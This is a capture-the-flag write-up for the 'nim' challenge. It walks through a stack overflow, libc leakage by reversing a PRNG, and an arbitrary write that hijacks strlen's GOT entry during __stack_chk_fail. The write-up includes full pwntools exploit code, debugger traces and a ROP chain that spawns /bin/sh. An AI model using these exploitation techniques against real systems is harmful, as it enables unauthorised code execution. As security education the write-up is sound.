Nim
Let’s play a game!
This challenge is running on Ubuntu 20.04.
nc nim.hackable.software 1337
Attachment: nim libc.so xpl.py
Team: Super Guesser
This challenge was an implementation of the nim
game. I joined quite late to the challenge, since I was busy with dragonbox and noflippidy. At that point n0psledbyte
had already done most of the work on the challenge, but was stuck at exploiting it successfully.
Since he went to bed at some point, I digged through his findings and finished it up.
The game uses libc rand
function as seed for its PRNG. Thus we can retrieve libc address by reversing the heap random states.
Playing the game had a stack overflow when defining size > 32, overwriting following addresses with the heap_sizes defined by the user.
He also mentioned a possible arbitrary write, when the current hiscore is written.
He had already done the PRNG reversing getting libc address and also provided a “solver”, by which we could just win the game anytime by predicting the heap sizes. I won’t go into much detail on this, since I just used his solver script.
But, let’s take a short look at the arbitrary write
play_game ( p1_points , p1_score , p2_points , p2_score , p3_points , * ( _DWORD * )( v3 + 32 ), 0x2710u , ( unsigned int * ) & HI_SCORE );
unsigned long play_game ( long p1_score , unsigned int p1_points , long p2_score , unsigned int p2_points , long p3_score , unsigned int p3_points , unsigned int a7 , unsigned int * record )
{
...
if ( ( int ) current_score > current_record )
{
printf ( "[!] \" `-._,-' \" `-._,-' NEW ALL TIME RECORD: %d pts \" `-._,-' \" `-._,-' \n " , v39 );
* record = current_score ;
}
What’s interesting here is the stack layout in this function call
-0000000000000092 db ? ; undefined
-0000000000000091 db ? ; undefined
-0000000000000090 s dd 32 dup(?)
-0000000000000010 CANARY dq ?
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010 a7 dd ?
+0000000000000014 db ? ; undefined
+0000000000000015 db ? ; undefined
+0000000000000016 db ? ; undefined
+0000000000000017 db ? ; undefined
+0000000000000018 arg_record dq ? ; offset
The record
argument for play_game
will be stored on the stack. This means, we could use the stack overflow when defining the heap sizes to put an arbitrary address into record
, which would lead to an arbitrary 4 byte write
* record = score
The only downside here is, that above the record
pointer, a canary is stored, which we would need to also overwrite in order to reach the record
pointer. This puzzled us a lot, since, if we would know the canary, the arbitrary write would have been completely useless (we could have just put a rop chain there).
Because of this, I assumed, that the only useful thing would be, if we could use the arb write to corrupt something in the abort
functionality, when the application tries to do __stack_chk_fail
, so I went on debugging deeper into __stack_chk_fail
.
This shows, that it wil call __libc_message
in __fortify_fail
to format the abort message, which will call strlen
at some point. For this, libc will look it up from *ABS*@got.plt
.
0x00007f1f06650287 93 in ../sysdeps/posix/libc_fatal.c
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x18
$rbx : 0x00007f1f0677a082 → " ***: terminated\n"
$rcx : 0x00007f1f0677a064 → "stack smashing detected"
$rdx : 0x00007ffda1313850 → 0x00007f1f0677a064 → "stack smashing detected"
$rsp : 0x00007ffda13137f0 → 0x00007f1f0677a07c → "*** %s ***: terminated\n"
$rbp : 0x00007ffda13138a0 → 0x00007f1f0677a07c → "*** %s ***: terminated\n"
$rsi : 0x25
$rdi : 0x00007f1f0677a064 → "stack smashing detected"
$rip : 0x00007f1f06650287 → <__libc_message+311> call 0x7f1f065e5460 <*ABS*+0xa27b0@plt>
$r8 : 0x4
$r9 : 0x49
$r10 : 0x000055e22b46552b → " pts "`-._,-'"`-._,-'\n"
$r11 : 0x246
$r12 : 0x00007ffda13137f0 → 0x00007f1f0677a07c → "*** %s ***: terminated\n"
$r13 : 0x25
$r14 : 0x1
$r15 : 0x1
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f1f06650279 <__libc_message+297> add rbx, 0x2
0x7f1f0665027d <__libc_message+301> mov rdi, rcx
0x7f1f06650280 <__libc_message+304> mov QWORD PTR [rbp-0x88], rcx
→ 0x7f1f06650287 <__libc_message+311> call 0x7f1f065e5460 <*ABS*+0xa27b0@plt>
↳ 0x7f1f065e5460 <*ABS*+0xa27b0@plt+0> endbr64
0x7f1f065e5464 <*ABS*+0xa27b0@plt+4> bnd jmp QWORD PTR [rip+0x1c5c3d] # 0x7f1f067ab0a8 <*ABS*@got.plt>
0x7f1f065e546b <*ABS*+0xa27b0@plt+11> nop DWORD PTR [rax+rax*1+0x0]
0x7f1f065e5470 <*ABS*+0xa2280@plt+0> endbr64
0x7f1f065e5474 <*ABS*+0xa2280@plt+4> bnd jmp QWORD PTR [rip+0x1c5c35] # 0x7f1f067ab0b0 <*ABS*@got.plt>
0x7f1f065e547b <*ABS*+0xa2280@plt+11> nop DWORD PTR [rax+rax*1+0x0]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffda13137f0│+0x0000: 0x00007f1f0677a07c → "*** %s ***: terminated\n" ← $rsp, $r12
0x00007ffda13137f8│+0x0008: 0x0000000000000004
0x00007ffda1313800│+0x0010: 0x0000000000000000
0x00007ffda1313808│+0x0018: 0x00007f1f066501de → <__libc_message+142> movzx edx, BYTE PTR [rax]
0x00007ffda1313810│+0x0020: 0x00007ffda1313820 → 0x0000000000000018
0x00007ffda1313818│+0x0028: 0x00007f1f0677a064 → "stack smashing detected"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*ABS*+0xa27b0@plt (
$rdi = 0x00007f1f0677a064 → "stack smashing detected",
$rsi = 0x0000000000000025,
$rdx = 0x00007ffda1313850 → 0x00007f1f0677a064 → "stack smashing detected",
$rcx = 0x00007f1f0677a064 → "stack smashing detected",
$r8 = 0x0000000000000004
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
So, we can use the arbitrary write to overwrite the lower 4 bytes of 0x7f1f067ab0a8 <*ABS*@got.plt>
, getting code execution for an arbitrary gadget in libc.
Finally getting somewhere.
gef➤ telescope $rsp
0x00007ffec488a828│+0x0000: 0x00007f1d5f17628c → 0x49ffffff788d8b48 ← $rsp
0x00007ffec488a830│+0x0008: 0x00007f1d5f2a007c → "*** %s ***: terminated\n" ← $r12
0x00007ffec488a838│+0x0010: 0x0000000000000004
0x00007ffec488a840│+0x0018: 0x0000000000000000
0x00007ffec488a848│+0x0020: 0x00007f1d5f1761de → 0x800b74d28410b60f
0x00007ffec488a850│+0x0028: 0x00007ffec488a860 → 0x0000000000000018
0x00007ffec488a858│+0x0030: 0x00007f1d5f2a0064 → "stack smashing detected"
0x00007ffec488a860│+0x0038: 0x0000000000000018
...
0x00007ffec488aac0│+0x0298: 0x006e7ffec488ac10
0x00007ffec488aac8│+0x02a0: 0x00007ffec488aad8 → 0x0000000000000000
0x00007ffec488aad0│+0x02a8: 0x0000000000000000
0x00007ffec488aad8│+0x02b0: 0x0000000000000000
0x00007ffec488aae0│+0x02b8: 0x00007ffec488aaf0 → 0x4141414141414141
0x00007ffec488aae8│+0x02c0: 0x2ef8fca25f16fd27
0x00007ffec488aaf0│+0x02c8: 0x4141414141414141 <= Username
0x00007ffec488aaf8│+0x02d0: 0x4141414141414141
0x00007ffec488ab00│+0x02d8: 0x00007f1d5f1f763c → 0x801f0fc368c48348
0x00007ffec488ab08│+0x02e0: 0x0000000000000000
0x00007ffec488ab38│+0x0310: 0x20e43bca26fb0a5c
0x00007ffec488ab40│+0x0318: 0x1880e8c9105ed91c
0x00007ffec488ab48│+0x0320: 0x0000001000000010 <= user heap sizes
0x00007ffec488ab50│+0x0328: 0x0000001000000010
0x00007ffec488ab58│+0x0330: 0x0000001000000010
0x00007ffec488ab60│+0x0338: 0x0000001000000010
When checking the current stack layout, we can see that rsp
points to Username-0x2c8
(and also our heap sizes will be after that), so we could try to pivot the stack there.
Let’s start with calculating libc base
by playing the game and reversing the PRNG. Since Rd
had already done this, I just took his code for this:
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "nim.hackable.software"
PORT = 1337
PROCESS = "./nim"
const1 = 0x7CC216571FEE6FB
const2 = 0xFFFFFFFFFFFFFA3
const3 = 0x7FFFFFFF
seed = 0x7fab61836e90
def reverse ( x , y , z ):
return x * y % z
def drand ():
global seed
v1 = seed
seed = reverse ( seed , const1 , const2 )
return v1 & const3
def brute ( state , next_state ):
global seed
i = 0xf000
while 1 :
brute_state = i << 31 | state
seed = brute_state
drand ()
if seed & const3 == next_state :
return brute_state
i += 0x1
def findLoser ( A ):
n = len ( A )
res = 0
for i in range ( n ):
res ^= A [ i ]
# case when Alice is winner
if ( res == 0 or n % 2 == 0 ):
return "Me"
# when Bob is winner
else :
return "Computer"
def nim_next ( heaps ):
nim = 0
# Calculate nim sum for all elements in the objectList
for i in heaps :
nim = nim ^ i
if nim :
for i in range ( len ( heaps )):
vv = nim ^ heaps [ i ];
if ( vv < heaps [ i ]):
return i , ( heaps [ i ] - vv )
else :
for i in range ( len ( heaps )):
if heaps [ i ] != 0 :
return i , heaps [ i ]
def win ( value ):
num_heaps = 9
play ( value , num_heaps )
predict = [ drand () for i in range ( int ( num_heaps / 2 ))]
predict [ - 1 ] = predict [ - 1 ] ^ 3
predict . append ( 3 )
for i in range ( len ( predict )):
r . sendlineafter ( ": " , str ( predict [ i ]))
last = 0
while last == 0 :
r . recvuntil ( b "heaps is: " )
heap_state = eval ( str ( r . recvuntil ( "]" )))
if heap_state . count ( 0 ) == num_heaps - 1 :
last = 1
idx , val = nim_next ( heap_state )
r . sendlineafter ( ": " , str ( idx + 1 ))
r . sendlineafter ( ": " , str ( val ))
def play ( bet , num_heaps ):
r . sendlineafter ( "? " , str ( bet ))
r . sendlineafter ( "? " , str ( num_heaps ))
def exploit ( r ):
log . info ( "Start playing game" )
r . sendlineafter ( "Choice:" , "P" )
# send username
r . sendlineafter ( "? " , "A" * 31 )
num_heaps = 8
play ( 100 , num_heaps )
r . recvuntil ( "Dealer has decided the sizes of heaps 1 - 4, now specify yours" )
for i in range ( int ( num_heaps / 2 + 0.5 )):
r . sendlineafter ( ": " , str ( i + 1 ))
r . recvuntil ( "taken " )
stones_taken = int ( str ( r . recvuntil ( " " )))
r . recvuntil ( "from heap " )
taken_idx = int ( str ( r . recvuntil ( "." , drop = True ))) - 1
r . recvuntil ( "heaps is: " )
heap_state = eval ( str ( r . recvuntil ( "]" )))
heap_state [ taken_idx ] += stones_taken
rand_addr = brute ( heap_state [ 0 ], heap_state [ 1 ])
seed = rand_addr
libc . address = rand_addr - libc . symbols [ "rand" ]
log . info ( "LIBC leak : %s" % hex ( rand_addr ))
log . info ( "LIBC : %s" % hex ( libc . address ))
r . sendlineafter ( ": " , "0" )
for i in range ( 4 ):
drand ()
r . interactive ()
return
if __name__ == "__main__" :
# e = ELF("./nim")
libc = ELF ( "./libc.so" )
if len ( sys . argv ) > 1 :
LOCAL = False
r = remote ( HOST , PORT )
else :
LOCAL = True
r = process ( "./nim" )
print ( util . proc . pidof ( r ))
pause ()
exploit ( r )
$ python work.py
[*] '/media/sf_ctf/dragon21/nim/libc.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './nim': pid 2242
[2242]
[*] Paused (press any to continue)
[*] Start playing game
[*] LIBC leak : 0x7f3c2c62ee90
[*] LIBC : 0x7f3c2c5e4000
[*] Switching to interactive mode
[?] Choose a heap (0 to resign): $
Having a leak to libc
, we can now think on how to get code execution. As mentioned above, when strlen
will be called from __libc_message
the stack will point to username-0x2c8
, so we would want to pivot the stack into something controllable.
Checking the available libc gadgets:
0x0000000000089d27: add rsp, 0x2c0; pop rbp; pop r12; pop r13; ret;
This would pivot the stack into the last qword from username
. Constraints for one_gadget
don’t seem satisfiable at that point, so we will just put another stack pivot gadget into our username
0x000000000011163c: add rsp, 0x68; ret;
This would then pivot the stack into our heap size definitions. So, before doing the overflow, we would put a system("/bin/sh")
ropchain there, just waiting to get executed :)
So, the attack plan would be as follow
Put add rsp, 0x68
gadget into username
Prepare ropchain in game heap sizes
Use record arb write to write add rsp, 0x2c8...
gadget into strlen
libc got
Putting the gadget into the username is trivial
log . info ( "Put stack pivot gadget into username" )
# 0x000000000011163c: add rsp, 0x68; ret;
ADDRSP68 = libc . address + 0x11163c
r . sendlineafter ( "[y/n]" , "n" ) # quit game
r . sendlineafter ( ": " , "p" ) # start new game
payload = "A" * 16
payload += p64 ( ADDRSP68 )
r . sendlineafter ( "? " , payload )
Now, we have to prepare our current game score for writing the stack pivot gadget later on into strlen
libc got.
# 0x0000000000089d27: add rsp, 0x2c0; pop rbp; pop r12; pop r13; ret;
ADDRSP2D8 = libc . address + 0x89d27
score = 10000
target = ( ADDRSP2D8 ) & 0xffffffff
log . info ( "Target: %s" % hex ( target ))
while ( score < target - score ):
log . info ( "Score: %s" % hex ( score ))
win ( score )
score += score
r . sendlineafter ( "? " , "y" )
log . info ( "Win last game for exact score" )
win ( target - score + 10 ) # 10 will be used up in last game
Target score will be lower 4 bytes of the gadget and we’ll just have to continue playing until our score matches target+10
(because we will do a last game losing 10 credits for putting our ropchain on the stack).
Having prepared the arb write, we can now put our ropchain on the stack by setting heap sizes alternating to higher or lower 4 bytes of the ropchain gadgets.
log . info ( "Put ropchain on stack" )
r . sendlineafter ( "? " , "y" )
num_heaps = 44
play ( 10 , num_heaps )
POPRDI = libc . address + 0x26b72
ABSGOT = libc . address + 0x1eb0a8
payload = p64 ( libc . address + 0x1e0000 )
payload += p64 ( POPRDI )
payload += p64 ( next ( libc . search ( b "/bin/sh" )))
payload += p64 ( libc . symbols [ "system" ])
payload += p64 ( ABSGOT ) * 10
for i in range ( int ( abs ( num_heaps / 4 ))):
sys . stdout . write ( "." )
target = u64 ( payload [ i * 8 :( i + 1 ) * 8 ])
p1 = ( target ) & 0xffffffff
p2 = ( target ) >> 32
r . sendlineafter ( ": " , str ( p1 ))
r . sendlineafter ( ": " , str ( p2 ))
At this point it gets a bit tricky. If you have ASLR disabled for debugging the exploit, it will always fail, since the score will be checked as signed integer and playing this way with disabled ASLR will always result in a negative score, thus exitting early.
Having ASLR enabled on the other hand, the probability of having a non negative score is quite high.
When we now resign after having prepared the ropchain, the arbitrary write will happen
0x000055c6834980cc in ?? ()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x4a
$rbx : 0x721346e3e0248000
$rcx : 0x50b4dd27
$rdx : 0x00007f8950caf0a8 → 0x00007f8950c4f660 → <__strlen_avx2+0> endbr64
$rsp : 0x00007ffceb247860 → 0x000055c684db2f08 → 0x000055c684db2f18 → 0x0000006563696c00
$rbp : 0x00007ffceb247ae0 → 0x00007f8950caf0a8 → 0x00007f8950c4f660 → <__strlen_avx2+0> endbr64
$rsi : 0x00007ffceb2451c0 → "[!] "`-._,-'"`-._,-' NEW ALL TIME RECORD: 13540303[...]"
$rdi : 0x00007f8950cb24c0 → 0x0000000000000000
$rip : 0x000055c6834980cc → mov DWORD PTR [rdx], ecx
$r8 : 0x4a
$r9 : 0x4a
$r10 : 0x000055c68349c52b → " pts "`-._,-'"`-._,-'\n"
$r11 : 0x246
$r12 : 0x000055c683497220 → endbr64
$r13 : 0x00007ffceb247c40 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x55c6834980bd call 0x55c683497030 <printf@plt>
0x55c6834980c2 mov ecx, DWORD PTR [rbp-0xf4]
0x55c6834980c8 mov rdx, QWORD PTR [rbp+0x18]
→ 0x55c6834980cc mov DWORD PTR [rdx], ecx
0x55c6834980ce mov rax, QWORD PTR fs:0x28
0x55c6834980d7 mov rcx, QWORD PTR [rbp-0x10]
0x55c6834980db cmp rax, rcx
0x55c6834980de jne 0x55c6834980fa
0x55c6834980e4 add rsp, 0x278
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffceb247860│+0x0000: 0x000055c684db2f08 → 0x000055c684db2f18 → 0x0000006563696c00 ← $rsp
0x00007ffceb247868│+0x0008: 0x000055c684db40c0 → 0x000055c684db4000 → 0x4141414141414141
0x00007ffceb247870│+0x0010: 0x00007ffceb247a08 → 0x00007ffceb247a18 → 0x0000000000000000
0x00007ffceb247878│+0x0018: 0x50b4dd2783499914
0x00007ffceb247880│+0x0020: 0x0000003700000001
0x00007ffceb247888│+0x0028: 0x0000003884db2fb8
We’ll now be overwriting the lower 4 bytes of strlen
got with the value from rcx
(0x50b4dd27
), so strlen
got will now point to the first stack pivot gadget.
gef➤ x/10i 0x00007f8950b4dd27
0x7f8950b4dd27 <__swscanf+295>: add rsp,0x2c0
0x7f8950b4dd2e <__swscanf+302>: pop rbp
0x7f8950b4dd2f <__swscanf+303>: pop r12
0x7f8950b4dd31 <__swscanf+305>: pop r13
0x7f8950b4dd33 <__swscanf+307>: ret
Now, canary check will fail and __stack_chk_fail
will get executed (=> __GI___fortify_fail
=> __libc_message
=> strlen
)
0x55c6834980ed ret
0x55c6834980ee mov rdi, QWORD PTR [rbp-0x190]
0x55c6834980f5 call 0x55c6834971a0 <_Unwind_Resume@plt>
→ 0x55c6834980fa call 0x55c683497100 <__stack_chk_fail@plt>
↳ 0x55c683497100 <__stack_chk_fail@plt+0> jmp QWORD PTR [rip+0x8e6a] # 0x55c68349ff70 <__stack_chk_fail@got.plt>
0x55c683497106 <__stack_chk_fail@plt+6> push 0xd
0x55c68349710b <__stack_chk_fail@plt+11> jmp 0x55c683497020
0x55c683497110 <__isoc99_scanf@plt+0> jmp QWORD PTR [rip+0x8e62] # 0x55c68349ff78 <__isoc99_scanf@got.plt>
0x55c683497116 <__isoc99_scanf@plt+6> push 0xe
0x55c68349711b <__isoc99_scanf@plt+11> jmp 0x55c683497020
...
0x7f8950bf6b05 <__stack_chk_fail+5> pop rax
0x7f8950bf6b06 <__stack_chk_fail+6> lea rdi, [rip+0x87557] # 0x7f8950c7e064
0x7f8950bf6b0d <__stack_chk_fail+13> sub rsp, 0x8
→ 0x7f8950bf6b11 <__stack_chk_fail+17> call 0x7f8950bf6b20 <__GI___fortify_fail>
...
0x7f8950bf6b3b <__fortify_fail+27> mov rsi, rbp
0x7f8950bf6b3e <__fortify_fail+30> mov edi, 0x1
0x7f8950bf6b43 <__fortify_fail+35> xor eax, eax
→ 0x7f8950bf6b45 <__fortify_fail+37> call 0x7f8950b54150 <__libc_message>
...
0x7f8950b54279 <__libc_message+297> add rbx, 0x2
0x7f8950b5427d <__libc_message+301> mov rdi, rcx
0x7f8950b54280 <__libc_message+304> mov QWORD PTR [rbp-0x88], rcx
→ 0x7f8950b54287 <__libc_message+311> call 0x7f8950ae9460 <*ABS*+0xa27b0@plt>
↳ 0x7f8950ae9460 <*ABS*+0xa27b0@plt+0> endbr64
0x7f8950ae9464 <*ABS*+0xa27b0@plt+4> bnd jmp QWORD PTR [rip+0x1c5c3d] # 0x7f8950caf0a8 <*ABS*@got.plt>
...
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x18
$rbx : 0x00007f8950c7e082 → " ***: terminated\n"
$rcx : 0x00007f8950c7e064 → "stack smashing detected"
$rdx : 0x00007ffceb2477d0 → 0x00007f8950c7e064 → "stack smashing detected"
$rsp : 0x00007ffceb247768 → 0x00007f8950b5428c → <__libc_message+316> mov rcx, QWORD PTR [rbp-0x88]
$rbp : 0x00007ffceb247820 → 0x00007f8950c7e07c → "*** %s ***: terminated\n"
$rsi : 0x25
$rdi : 0x00007f8950c7e064 → "stack smashing detected"
$rip : 0x00007f8950b4dd27 → <swscanf+295> add rsp, 0x2c0
$r8 : 0x4
$r9 : 0x4a
$r10 : 0x000055c68349c52b → " pts "`-._,-'"`-._,-'\n"
$r11 : 0x246
$r12 : 0x00007ffceb247770 → 0x00007f8950c7e07c → "*** %s ***: terminated\n"
$r13 : 0x25
$r14 : 0x1
$r15 : 0x1
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f8950b4dd14 <swscanf+276> mov rdx, QWORD PTR [rsp+0x208]
0x7f8950b4dd1c <swscanf+284> xor rdx, QWORD PTR fs:0x28
0x7f8950b4dd25 <swscanf+293> jne 0x7f8950b4dd34 <__swscanf+308>
→ 0x7f8950b4dd27 <swscanf+295> add rsp, 0x2c0
0x7f8950b4dd2e <swscanf+302> pop rbp
0x7f8950b4dd2f <swscanf+303> pop r12
0x7f8950b4dd31 <swscanf+305> pop r13
0x7f8950b4dd33 <swscanf+307> ret
0x7f8950b4dd34 <swscanf+308> call 0x7f8950bf6b00 <__stack_chk_fail>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffceb247768│+0x0000: 0x00007f8950b5428c → <__libc_message+316> mov rcx, QWORD PTR [rbp-0x88] ← $rsp
0x00007ffceb247770│+0x0008: 0x00007f8950c7e07c → "*** %s ***: terminated\n" ← $r12
0x00007ffceb247778│+0x0010: 0x0000000000000004
0x00007ffceb247780│+0x0018: 0x0000000000000000
0x00007ffceb247788│+0x0020: 0x00007f8950b541de → <__libc_message+142> movzx edx, BYTE PTR [rax]
0x00007ffceb247790│+0x0028: 0x00007ffceb2477a0 → 0x0000000000000018
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Executing our first stack pivot gadget.
0x00007f8950b4dd33 41 in swscanf.c
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x18
$rbx : 0x00007f8950c7e082 → " ***: terminated\n"
$rcx : 0x00007f8950c7e064 → "stack smashing detected"
$rdx : 0x00007ffceb2477d0 → 0x00007f8950c7e064 → "stack smashing detected"
$rsp : 0x00007ffceb247a40 → 0x00007f8950bd563c → <fcntl64+92> add rsp, 0x68
$rbp : 0x721346e350b4dd27
$rsi : 0x25
$rdi : 0x00007f8950c7e064 → "stack smashing detected"
$rip : 0x00007f8950b4dd33 → <swscanf+307> ret
$r8 : 0x4
$r9 : 0x4a
$r10 : 0x000055c68349c52b → " pts "`-._,-'"`-._,-'\n"
$r11 : 0x246
$r12 : 0x4141414141414141 ("AAAAAAAA"?)
$r13 : 0x4141414141414141 ("AAAAAAAA"?)
$r14 : 0x1
$r15 : 0x1
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f8950b4dd2e <swscanf+302> pop rbp
0x7f8950b4dd2f <swscanf+303> pop r12
0x7f8950b4dd31 <swscanf+305> pop r13
→ 0x7f8950b4dd33 <swscanf+307> ret
↳ 0x7f8950bd563c <fcntl64+92> add rsp, 0x68
0x7f8950bd5640 <fcntl64+96> ret
0x7f8950bd5641 <fcntl64+97> nop DWORD PTR [rax+0x0]
0x7f8950bd5648 <fcntl64+104> mov eax, DWORD PTR fs:0x18
0x7f8950bd5650 <fcntl64+112> test eax, eax
0x7f8950bd5652 <fcntl64+114> jne 0x7f8950bd5680 <__GI___libc_fcntl64+160>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffceb247a40│+0x0000: 0x00007f8950bd563c → <fcntl64+92> add rsp, 0x68 ← $rsp
0x00007ffceb247a48│+0x0008: 0x0000000000000000
0x00007ffceb247a50│+0x0010: 0x11d3e4524d309a35
0x00007ffceb247a58│+0x0018: 0x11686a154aedf372
0x00007ffceb247a60│+0x0020: 0x57c3be454d469efd
0x00007ffceb247a68│+0x0028: 0x01aa71650967204d
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
After this, it lands in the second stack pivot gadget, which we prepared in the username (0x00007ffceb247a40
).
0x00007f8950bd5640 51 in ../sysdeps/unix/sysv/linux/fcntl64.c
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x18
$rbx : 0x00007f8950c7e082 → " ***: terminated\n"
$rcx : 0x00007f8950c7e064 → "stack smashing detected"
$rdx : 0x00007ffceb2477d0 → 0x00007f8950c7e064 → "stack smashing detected"
$rsp : 0x00007ffceb247ab0 → 0x00007f8950aeab72 → <init_cacheinfo+242> pop rdi
$rbp : 0x721346e350b4dd27
$rsi : 0x25
$rdi : 0x00007f8950c7e064 → "stack smashing detected"
$rip : 0x00007f8950bd5640 → <fcntl64+96> ret
$r8 : 0x4
$r9 : 0x4a
$r10 : 0x000055c68349c52b → " pts "`-._,-'"`-._,-'\n"
$r11 : 0x246
$r12 : 0x4141414141414141 ("AAAAAAAA"?)
$r13 : 0x4141414141414141 ("AAAAAAAA"?)
$r14 : 0x1
$r15 : 0x1
$eflags: [zero carry parity ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f8950bd562d <fcntl64+77> xor rcx, QWORD PTR fs:0x28
0x7f8950bd5636 <fcntl64+86> jne 0x7f8950bd56d5 <__GI___libc_fcntl64+245>
0x7f8950bd563c <fcntl64+92> add rsp, 0x68
→ 0x7f8950bd5640 <fcntl64+96> ret
↳ 0x7f8950aeab72 <init_cacheinfo+242> pop rdi
0x7f8950aeab73 <init_cacheinfo+243> ret
0x7f8950aeab74 <init_cacheinfo+244> xor edi, edi
0x7f8950aeab76 <init_cacheinfo+246> test r14, r14
0x7f8950aeab79 <init_cacheinfo+249> jne 0x7f8950aeab07 <init_cacheinfo+135>
0x7f8950aeab7b <init_cacheinfo+251> jmp 0x7f8950aeab3a <init_cacheinfo+186>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffceb247ab0│+0x0000: 0x00007f8950aeab72 → <init_cacheinfo+242> pop rdi ← $rsp
0x00007ffceb247ab8│+0x0008: 0x00007f8950c7b5aa → 0x0068732f6e69622f ("/bin/sh"?)
0x00007ffceb247ac0│+0x0010: 0x00007f8950b19410 → <system+0> endbr64
0x00007ffceb247ac8│+0x0018: 0x00007f8950caf0a8 → 0x00007f8950b4dd27 → <swscanf+295> add rsp, 0x2c0
0x00007ffceb247ad0│+0x0020: 0x00007f8950caf0a8 → 0x00007f8950b4dd27 → <swscanf+295> add rsp, 0x2c0
0x00007ffceb247ad8│+0x0028: 0x00007f8950caf0a8 → 0x00007f8950b4dd27 → <swscanf+295> add rsp, 0x2c0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
which then pivots into our system("/bin/sh")
ropchain.
$ python xpl.py 1
[*] '/media/sf_ctf/dragon21/nim/libc.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to nim.hackable.software on port 1337: Done
[*] Start playing game
[*] LIBC leak : 0x7fa6333ebe90
[*] LIBC : 0x7fa6333a1000
[*] Put stack pivot gadget into username
[*] Win games until score matches target
[*] Target: 0x3342ad27
[*] Score: 0x2710
[*] Score: 0x4e20
[*] Score: 0x9c40
[*] Score: 0x13880
[*] Score: 0x27100
[*] Score: 0x4e200
[*] Score: 0x9c400
[*] Score: 0x138800
[*] Score: 0x271000
[*] Score: 0x4e2000
[*] Score: 0x9c4000
[*] Score: 0x1388000
[*] Score: 0x2710000
[*] Score: 0x4e20000
[*] Score: 0x9c40000
[*] Score: 0x13880000
[*] Win last game for exact score
[*] Put ropchain on stack
...........[*] Switching to interactive mode
[!] "`-._,-'"`-._,-' NEW ALL TIME RECORD: 860007719 pts "`-._,-'"`-._,-'
$ ls
flag.txt
nim
$ cat flag.txt
DrgnS{St4ck_b0f_still_expl0itable_in_2021}